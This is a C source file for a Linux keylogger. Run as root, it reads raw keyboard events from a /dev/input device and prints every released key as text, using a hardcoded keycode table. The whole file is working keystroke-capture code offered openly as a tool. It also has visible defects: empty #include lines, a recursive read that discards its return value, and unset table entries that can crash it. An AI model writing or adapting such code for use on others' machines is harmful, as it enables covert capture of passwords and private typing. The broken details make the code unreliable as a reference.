#include #include #include #include #include #include #include int get_key_press(int fd, struct input_event ev); int input_has_errors(int argc, char *argv[]); int user_is_root(); char * get_key_description(int key_code); void generate_mappings(char ** mappings); /* * returns 0 if user is not root * else returns 1 */ int user_is_root() { if (geteuid() != 0) { puts("You should run this script as root"); puts("ex: sudo ./keylogger /dev/input/deviceX"); return 0; } return 1; } /* * If no input device specified returns 1 * If no errors it returns 0 */ int input_has_errors(int argc, char *argv[]) { if(argc < 2) { puts("No input device given."); puts("Usage: './keylogger device'"); puts("Device should be /dev/input/device*"); puts("Find it using: `cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard`"); return 1; } return 0; } /* * -Reads input event (key stroke) * -Returns the key when it's released * This means that by long pressing a key it only gets logged once. * -If no key is pressed it calls itself recursively again */ int get_key_press(int fd, struct input_event ev) { read(fd, &ev, sizeof(struct input_event)); // ev.value == 0 -> button is released if (ev.type == 1 && ev.value == 0) return ev.code; // if no key pressed check again get_key_press(fd, ev); } int main(int argc, char *argv[]) { // Convert key codes to string values // ex: mappings[code] = "value" char * mappings[1024]; generate_mappings(mappings); // Check for errors if (input_has_errors(argc, argv)) { return -1; } if (!user_is_root()) { return -1; } // Start keyboard device as read only int fd; fd = open(argv[1], O_RDONLY); // Initialize input event struct input_event ev; // Scan for key strokes and print them while (1){ int key_code = get_key_press(fd, ev); // get key code printf("%s\n",mappings[key_code]); // print value of key code } return 0; } /* * Generates a value for each key stroke code */ void generate_mappings(char ** codes) { codes[1] = "esc"; codes[59] = "f1"; codes[60] = "f2"; codes[61] = "f3"; codes[62] = "f4"; codes[63] = "f5"; codes[64] = "f6"; codes[65] = "f7"; codes[66] = "f8"; codes[67] = "f9"; codes[68] = "f10"; codes[87] = "f11"; codes[88] = "f12"; // -- codes[41] = "`"; codes[2] = "1"; codes[3] = "2"; codes[4] = "3"; codes[5] = "4"; codes[6] = "5"; codes[7] = "6"; codes[8] = "7"; codes[9] = "8"; codes[10] = "9"; codes[11] = "0"; codes[12] = "-"; codes[13] = "="; codes[14] = "back"; // -- codes[15] = "tab"; codes[16] = "q"; codes[17] = "w"; codes[18] = "e"; codes[19] = "r"; codes[20] = "t"; codes[21] = "y"; codes[22] = "u"; codes[23] = "i"; codes[24] = "o"; codes[25] = "p"; codes[26] = "["; codes[27] = "]"; codes[43] = "\\"; // -- codes[58] = "caps"; codes[30] = "a"; codes[31] = "s"; codes[32] = "d"; codes[33] = "f"; codes[34] = "g"; codes[35] = "h"; codes[36] = "j"; codes[37] = "k"; codes[38] = "l"; codes[39] = ";"; codes[40] = "\""; codes[28] = "\n"; // -- codes[42] = "shift"; codes[44] = "z"; codes[45] = "x"; codes[46] = "c"; codes[47] = "v"; codes[48] = "b"; codes[49] = "n"; codes[50] = "m"; codes[51] = ","; codes[52] = "."; codes[53] = "/"; codes[54] = "shift"; // -- codes[29] = "ctrl"; codes[125] = "super"; codes[56] = "alt"; codes[57] = " "; codes[100] = "alt"; codes[126] = "super"; codes[127] = "right click"; codes[97] = "ctrl"; }